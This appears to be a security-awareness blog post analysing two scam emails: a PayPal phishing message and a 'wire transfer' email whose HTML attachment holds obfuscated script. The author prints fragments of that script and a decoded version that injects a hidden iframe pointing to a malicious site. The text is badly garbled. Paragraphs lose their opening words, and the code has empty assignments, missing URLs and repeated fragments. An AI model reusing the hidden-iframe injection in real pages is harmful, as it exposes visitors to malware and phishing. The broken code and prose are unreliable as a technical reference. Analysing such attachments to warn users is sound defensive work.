PayPal & Wire Transfer Scam – Email Scam

are active and they usually active to make an innocent fool and to
steal the confidential information and money, every day thousands of
email are sending by the spammer an email filter can easily filter
these email and spam them like the powerful spam filter of gmail and
yahoo but sometimes the spammers uses some new techniques to bypass
these filters.  Now a day the private email exchange server
(private company email servers) are the target of these spammers.

might have heard about the spamming on social media channels like
facebook spam, LinkedIn spam and so on, the danger situation is the
spam email that has an ability to steal the financial information of
the victim, look at this scam below

have just received an email, a paypal spam email. We can easily say
that this is not a legitimate email because it starts with “Dear
Pay Pal user” but paypal always writes the name of the customer.
You can see that the spammers has just put the hyper link on some
text, the links are not the paypal links but the spammer website
links, the target website might have some malware or a phishing page
of paypal or it simply redirect you to another website.

second email from the spammer is wire transfer email, look at the

spammers has attached a HTML file and said that this is the Internet
explorer file, means they want receiver to open it on Internet
explorer, since IE more vulnerable then other browsers so the more
chance of success.

analyze it:

is the HTML file that contain the code:

<head> <meta http-equiv=”Content-Type”
content=”text/html; charset=utf-8″>
<title>page15</title> </head> <body><style>
body { margin: 0;} #iframe_box {position: absolute; overflow: auto;
margin: 0; width: 100%; height: 100%;} </style>
if(v)z=s;e(z);</script></body> </html>

seems to be the Java code and I have decrypted it:

var box = document.createElement(‘iframe’); = ‘iframe_box’;
box.src = ‘’; = ‘hidden’;
document.body.appendChild(box); //jsunpack.called CreateElement
iframe //jsunpack.url
//jsunpack.url var s = var box = document.createElement(‘iframe’); = ‘iframe_box’; box.src =
‘’; = ‘hidden’;
document.body.appendChild(box); //jsunpack.url var z = var box =
document.createElement(‘iframe’); = ‘iframe_box’; box.src =
‘’; = ‘hidden’;
document.body.appendChild(box); //jsunpack.url var newurl = var box
= document.createElement(‘iframe’); = ‘iframe_box’; box.src
= ‘’; = ‘hidden’;

is some sort of the iframe injection attack and the final destination
or URL is

CreateElement iframe //jsunpack.url

is not a bank website but a URL of the malicious website.

the conclusion is very simple never trust on any malicious email
because such a emails are nothing but a way to steal your money,
educate the people around you because the security awareness is only
the possible way of online security.

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